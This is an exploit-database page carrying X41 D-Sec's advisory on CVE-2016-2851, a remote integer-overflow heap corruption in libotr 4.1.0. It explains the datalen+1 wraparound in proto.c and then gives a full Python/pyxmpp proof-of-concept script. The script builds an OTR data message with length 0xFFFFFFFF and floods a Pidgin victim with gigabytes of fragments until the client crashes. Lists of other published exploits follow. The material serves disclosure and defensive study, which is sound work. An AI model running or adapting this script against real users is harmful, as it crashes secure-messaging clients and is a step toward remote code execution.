Menu

Search for hundreds of thousands of exploits

"libotr 4.1.0 - Memory Corruption"

Author

Exploit author

"X41 D-Sec GmbH"

Platform

Exploit platform

multiple

Release date

Exploit published date

2016-03-10

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
'''
X41 D-Sec GmbH Security Advisory: X41-2016-001

Memory Corruption Vulnerability in "libotr"
===========================================

Overview
--------
Severity Rating: high
Confirmed Affected Version: 4.1.0 and below
Confirmed Patched Version: libotr 4.1.1
Vendor: OTR Development Team
Vendor URL: https://otr.cypherpunks.ca
Vendor Reference: OTR Security Advisory 2016-01
Vector: Remote
Credit: X41 D-Sec GmbH, Markus Vervier
Status: public
CVE: CVE-2016-2851
CVSS Score: 8.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/

Summary and Impact
------------------
A remote attacker may crash or execute arbitrary code in libotr by
sending large OTR messages.
While processing specially crafted messages, attacker controlled data on
the heap is written out of bounds.
No special user interaction or authorization is necessary in default
configurations.

Product Description
-------------------
Off-the-Record (OTR) Messaging is a cryptographic protocol used in
well-known instant messaging clients such as Pidgin, ChatSecure, Adium
and others. It is designed to work on top of existing protocols and used
worldwide to provide secure communication in insecure environments.
OTR is regarded as highly secure and according to documents revealed by
Edward Snowden one of the protocols that the NSA is not able to decrypt
via cryptanalysis.
The most commonly used implementation of OTR is "libotr" which is a pure
C code implementation of the OTR protocol.

Analysis
--------
During a manual code review X41 D-Sec GmbH discovered a remotely
exploitable vulnerability in libotr.

By sending large messages, an integer overflow can be triggered which
subsequently leads to a heap overflow on 64 bit architectures.

When a message of type OTRL_MSGSTATE_DATA is received during an
established OTR conversation, this message is passed to function
otrl_proto_accept_data in src/message.c line 1347:

	case OTRL_MSGSTATE_ENCRYPTED:
		extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
		err = otrl_proto_accept_data(&plaintext, &tlvs, context,
		                  message, &flags, extrakey);

After base64 decoding the message and reading various values from it,
the length of a payload is read into a variable of type "unsigned int"
in file proto.c line 784:

	read_int(datalen);

It is checked that the message buffer will contain at least a "datalen"
number of bytes using read_int in proto.c line 785:

	require_len(datalen);

The macros "read_int" and "required_len" are defined in src/serial.h:

	#define require_len(l) do { \
		if (lenp < (l)) goto invval; \
	    } while(0)

	#define read_int(x) do { \
		require_len(4); \
		(x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<
8) | bufp[3]; \
		bufp += 4; lenp -= 4; \
	    } while(0)

4 bytes are read from the message buffer and interpreted as unsigned int
value.

Subsequently a buffer of size datalen+1 is allocated using malloc
in proto.c line 786:

    data = malloc(datalen+1);
    if (!data) {
        err = gcry_error(GPG_ERR_ENOMEM);
        goto err;
    }

Now data from the message is copied into this buffer using memmove in
line 791:

    memmove(data, bufp, datalen);

The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is
read from the message buffer. As datalen is of size 32-bit (unsigned
int) the operation "datalen+1" will wrap around before being passed to
malloc.
This will effectively result in a zero allocation ( malloc(0) ) which is
valid in common implementations of malloc on the x86_64 architecture.
As no addition is done in the value passed to the call to memmove, 4
gigabytes of data are copied out of bounds to the heap location pointed
to by data.

Proof of Concept
----------------
In order to successfully trigger the vulnerability, an attacker must be
able to send a data message of more than 5.5 gigabytes to a victim in
order to pass the check "require_len(datalen)".
Due to the support of fragmented OTR messages assembled by libotr this
is possible in practice. By sending 275 messages of size 20MB each, X41
was able to make libotr process such a data message successfully on a
system with 8GB of ram and 15GB of swap space.
As data types for lenp and other lengths of the message are 64 bit large
size_t types on x86_64 architectures huge messages of multiple gigabytes
are possible.
Sending such a message to a pidgin client took only a few minutes on a
fast network connection without visible signs of any attack to a user.

A proof of concept triggering a heap overwrite and crash in the
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux
architectures is available[1].

The crash occurs due to the overwrite hitting unmapped memory. Using
techniques such as heap grooming, X41 was able to inflate the heap to
more than 4GB and overwrite function pointers and arguments on the heap
in order to take over control flow. A working exploit will not be
published at this time.

Interaction by users beyond having enabled OTR is not necessary as OTR
sessions are automatically established with anyone by default in Pidgin
and other common software using libotr. This also applies to
unauthorized contacts in most default configurations.

Workarounds
-----------
As a temporary workaround on Linux and BSD systems, the amount of memory
available to the process running libotr may be limited to less than 4GB
via ulimit.

About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus
on application code reviews, design review and security testing. X41
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers
in various industries such as finance, software development and public
institutions.

Timeline
--------
2016-02-17	Discovery during a manual code review of "libotr" version 4.1.0
2016-02-17	Initial PoC
2016-02-18	Vendor contacted
2016-02-18	Vulnerability confirmed by vendor
2016-03-03	Vendor patch available
2016-03-04	CVE requested
2016-03-06	CVE-2016-2851 assigned
2016-03-09	Embargo lifted and disclosure

References
----------
[1]
https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py
'''

#!/usr/bin/python -u
#
### PoC libotr heap overwrite on Pidgin
### 2016-02-17 Markus Vervier
### X41 D-Sec GmbH

### initial code taken from pyxmpp examples (echobot.py)

### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)

### On a loopback interface the exploit took several minutes,
### using XMPP stream compression this could be reduced massively

### pyxmpp does not support it
### We used XMPP connections without TLS to not further complicate the setup

### USAGE
### 
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"

### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)
### 2. Disconnect the attacker account
### 3. Fire up this script and let it connect with the attacker account credentials
### 4. Send a message from victim to attacker
### 5. Wait until message sending is complete, pidgin should crash

### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC
### !!! If we would implement full OTR in this script we could send the bad message directly
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags

import sys
import logging
import locale
import codecs
import os, signal
import time
import base64

def ignore_signal_pipe(signum, frame):
    print 'signal pipe caught -- IGNORING'

signal.signal(signal.SIGPIPE, ignore_signal_pipe)

from struct import *
from pyxmpp.all import JID,Iq,Presence,Message,StreamError
from pyxmpp.jabber.client import JabberClient
from pyxmpp.interface import implements
from pyxmpp.interfaces import *
from pyxmpp.streamtls import TLSSettings
from enum import Enum

class EchoHandler(object):
    """Provides the actual 'echo' functionality.

    Handlers for presence and message stanzas are implemented here.
    """

    implements(IMessageHandlersProvider, IPresenceHandlersProvider)
    
    def __init__(self, client):
        """Just remember who created this."""
        self.client = client

    def get_message_handlers(self):
        """Return list of (message_type, message_handler) tuples.

        The handlers returned will be called when matching message is received
        in a client session."""
        return [
            ("normal", self.message),
            ]

    def get_presence_handlers(self):
        """Return list of (presence_type, presence_handler) tuples.

        The handlers returned will be called when matching presence stanza is
        received in a client session."""
        return [
            (None, self.presence),
            ("unavailable", self.presence),
            ("subscribe", self.presence_control),
            ("subscribed", self.presence_control),
            ("unsubscribe", self.presence_control),
            ("unsubscribed", self.presence_control),
            ]

    def message(self,stanza):
        """Message handler for the component.

        Echoes the message back if its type is not 'error' or
        'headline', also sets own presence status to the message body. Please
        note that all message types but 'error' will be passed to the handler
        for 'normal' message unless some dedicated handler process them.

        :returns: `True` to indicate, that the stanza should not be processed
        any further."""
        subject=stanza.get_subject()
        body=stanza.get_body()
        t=stanza.get_type()
        m = 0 
        print u'Message from %s received.' % (unicode(stanza.get_from(),)),
        if subject:
            print u'Subject: "%s".' % (subject,),
        if body:
            print u'Body: "%s".' % (body,),
        if t:
            print u'Type: "%s".' % (t,)
        else:
            print u'Type: "normal".'
        if stanza.get_type()=="headline":
            # 'headline' messages should never be replied to
            return True
        # record instance tag
        if body[:9] == u'?OTR:AAMD':
            (self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])
            print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )
            self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)
        
        return m

    def b64maxlen(self, chars):
        return 1 + (4 * chars / 3)

    def parse_aamc(self, msg):
        maxlen = self.b64maxlen(8) # 4 byte integer
        print "maxlen %u" % (maxlen)
        tmp = msg[0:maxlen]
        padding = ""
        if maxlen % 4 > 1:
            padding = "="*(4-(maxlen % 4))
        tmp += padding
        print "decoding: "+tmp
        packed = base64.b64decode(tmp)
#        return unpack("I", packed[0:4])
        return (packed[0:4], packed[4:8]) # their tag, our tag

    def initial_body(self, instance_tag, our_tag):
        ret = "?OTR:AAMD";
        raw = b''
        print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))
        #dirty hack
        raw += our_tag # sender_nstance_id
        raw += instance_tag # receiver_id
        raw += "D" # dummy flags
        raw += pack("I", 0x1) # sender key id
        raw += pack("I", 0x2) # recipient key id
        raw += pack("!I", 10) # len next_y
	raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)
        raw += "12345678" # reveal sig dummy
        # yeah overflow!
        raw += pack("I", 0xFFFFFFFF); # datalen

        ret += base64.b64encode(raw+"A"*(57-len(raw)))
        return ret

    def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):
        print "G-FUNK!"

        # this should result in about 0xFFFFFFFF times "A" base64 encoded        
        len_msg = 5726623060
        # fix frag size for base64
        frag_size = (frag_size / 4) * 4

        frag_msg = "QUFB"*(frag_size / 4)

        n = len_msg / frag_size 
        # does not evenly divide?
        if len_msg % frag_size > 0:
            n += 1
        k = 1
        n += 1 # initialbody adds another frame
        initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))
        print "first fragment: "+initialbody
        m = Message(
                to_jid=stanza.get_from(),
                from_jid=stanza.get_to(),
                stanza_type=stanza.get_type(),
                subject="foo",
                body=initialbody)
        self.client.stream.send(m)
        k += 1
        print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)
        cur_pos = 0
        while(cur_pos < len_msg):
            body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)
            m = Message(
                to_jid=stanza.get_from(),
                from_jid=stanza.get_to(),
                stanza_type=stanza.get_type(),
                subject="foo",
                body=body)
            print "cur_pos %u of %u" % (cur_pos, len_msg)
            self.client.stream.send(m)
            k += 1
            cur_pos = frag_size * (k-2)
            time.sleep(0.9)
        print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)

 
    def presence(self,stanza):
        """Handle 'available' (without 'type') and 'unavailable' <presence/>."""
        msg=u"%s has become " % (stanza.get_from())
        t=stanza.get_type()
        if t=="unavailable":
            msg+=u"unavailable"
        else:
            msg+=u"available"

        show=stanza.get_show()
        if show:
            msg+=u"(%s)" % (show,)

        status=stanza.get_status()
        if status:
            msg+=u": "+status
        print msg

    def presence_control(self,stanza):
        """Handle subscription control <presence/> stanzas -- acknowledge
        them."""
        msg=unicode(stanza.get_from())
        t=stanza.get_type()
        if t=="subscribe":
            msg+=u" has requested presence subscription."
        elif t=="subscribed":
            msg+=u" has accepted our presence subscription request."
        elif t=="unsubscribe":
            msg+=u" has canceled his subscription of our."
        elif t=="unsubscribed":
            msg+=u" has canceled our subscription of his presence."

        print msg

        return stanza.make_accept_response()


class VersionHandler(object):
    """Provides handler for a version query.
    
    This class will answer version query and announce 'jabber:iq:version' namespace
    in the client's disco#info results."""
    
    implements(IIqHandlersProvider, IFeaturesProvider)

    def __init__(self, client):
        """Just remember who created this."""
        self.client = client

    def get_features(self):
        """Return namespace which should the client include in its reply to a
        disco#info query."""
        return ["jabber:iq:version"]

    def get_iq_get_handlers(self):
        """Return list of tuples (element_name, namespace, handler) describing
        handlers of <iq type='get'/> stanzas"""
        return [
            ("query", "jabber:iq:version", self.get_version),
            ]

    def get_iq_set_handlers(self):
        """Return empty list, as this class provides no <iq type='set'/> stanza handler."""
        return []

    def get_version(self,iq):
        """Handler for jabber:iq:version queries.

        jabber:iq:version queries are not supported directly by PyXMPP, so the
        XML node is accessed directly through the libxml2 API.  This should be
        used very carefully!"""
        iq=iq.make_result_response()
        q=iq.new_query("jabber:iq:version")
        q.newTextChild(q.ns(),"name","Echo component")
        q.newTextChild(q.ns(),"version","1.0")
        return iq

class Client(JabberClient):
    """Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`
    class as base. That class provides basic stream setup (including
    authentication) and Service Discovery server. It also does server address
    and port discovery based on the JID provided."""

    def __init__(self, jid, password, tls_cacerts):
        # if bare JID is provided add a resource -- it is required
        if not jid.resource:
            jid=JID(jid.node, jid.domain, "attacktest")

        if tls_cacerts:
            if tls_cacerts == 'tls_noverify':
                tls_settings = TLSSettings(require = True, verify_peer = False)
            else:
                tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)
        else:
            tls_settings = None

        # setup client with provided connection information
        # and identity data
        JabberClient.__init__(self, jid, password,
                disco_name="PyXMPP example: echo bot", disco_type="bot",
                tls_settings = tls_settings)

        # add the separate components
        self.interface_providers = [
            VersionHandler(self),
            EchoHandler(self),
            ]

    def stream_state_changed(self,state,arg):
        """This one is called when the state of stream connecting the component
        to a server changes. This will usually be used to let the user
        know what is going on."""
        print "*** State changed: %s %r ***" % (state,arg)

    def print_roster_item(self,item):
        if item.name:
            name=item.name
        else:
            name=u""
        print (u'%s "%s" subscription=%s groups=%s'
                % (unicode(item.jid), name, item.subscription,
                    u",".join(item.groups)) )

    def roster_updated(self,item=None):
        if not item:
            print u"My roster:"
            for item in self.roster.get_items():
                self.print_roster_item(item)
            return
        print u"Roster item updated:"
        self.print_roster_item(item)

# XMPP protocol is Unicode-based to properly display data received
# _must_ convert it to local encoding or UnicodeException may be raised
locale.setlocale(locale.LC_CTYPE, "")
encoding = locale.getlocale()[1]
if not encoding:
    encoding = "us-ascii"
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")


# PyXMPP uses `logging` module for its debug output
# applications should set it up as needed
logger = logging.getLogger()
logger.addHandler(logging.StreamHandler())
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity

if len(sys.argv) < 3:
    print u"Usage:"
    print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)
    print "example:"
    print "\t%s test@localhost verysecret" % (sys.argv[0],)
    sys.exit(1)

print u"creating client..."

c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)

print u"connecting..."
c.connect()

print u"looping..."
try:
    # Component class provides basic "main loop" for the applitation
    # Though, most applications would need to have their own loop and call
    # component.stream.loop_iter() from it whenever an event on
    # component.stream.fileno() occurs.
    c.loop(1)
except IOError, e:
    if e.errno == errno.EPIPE:
    # IGNORE EPIPE error
        print "PIPE ERROR -- IGNORING"
    else:
        pass


except KeyboardInterrupt:
    print u"disconnecting..."
    c.disconnect()

print u"exiting..."
# vi: sts=4 et sw=4
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - Type Confusion" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2017-11-14 "PSFTPd Windows FTP Server 10.0.4 Build 729 - Log Injection / Use-After-Free" dos windows "X41 D-Sec GmbH"
2017-10-17 "shadowsocks-libev 3.1.0 - Command Execution" local linux "X41 D-Sec GmbH"
2017-10-17 "Shadowsocks - Log File Command Execution" local linux "X41 D-Sec GmbH"
2017-06-06 "Peplink Balance Routers 7.0.0-build1904 - SQL Injection / Cross-Site Scripting / Information Disclosure" webapps cgi "X41 D-Sec GmbH"
2016-03-10 "libotr 4.1.0 - Memory Corruption" dos multiple "X41 D-Sec GmbH"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.